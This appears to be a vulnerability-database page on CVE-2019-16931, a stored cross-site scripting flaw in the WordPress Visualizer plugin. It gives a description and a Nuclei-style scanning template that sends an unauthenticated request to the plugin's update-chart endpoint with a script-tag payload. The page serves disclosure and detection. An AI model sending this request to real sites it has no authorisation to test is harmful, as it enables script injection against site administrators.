CVE-2019-16931: WordPress Visualizer <3.3.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Visualizer | POC: 已公开

漏洞描述

WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.

PoC代码[已公开]

id: CVE-2019-16931

info:
  name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://wpvulndb.com/vulnerabilities/9893
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16931
    - https://wordpress.org/plugins/visualizer/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16931
    cwe-id: CWE-79
    epss-score: 0.01991
    epss-percentile: 0.82962
    cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themeisle
    product: visualizer
    framework: wordpress
  tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle

http:
  - raw:
      - |
        POST /wp-json/visualizer/v1/update-chart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":"Chart updated"}'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022032c568de1310a05c2eaf59e82dcf7d47a843899f75d874aa17f8b3ef6f0b45f102207588d6be31257582be0e66ea59241c75c63831f39692eb38a1c7f66103f3282c:922c64590222798bb761d5b6d8e72950

相关漏洞推荐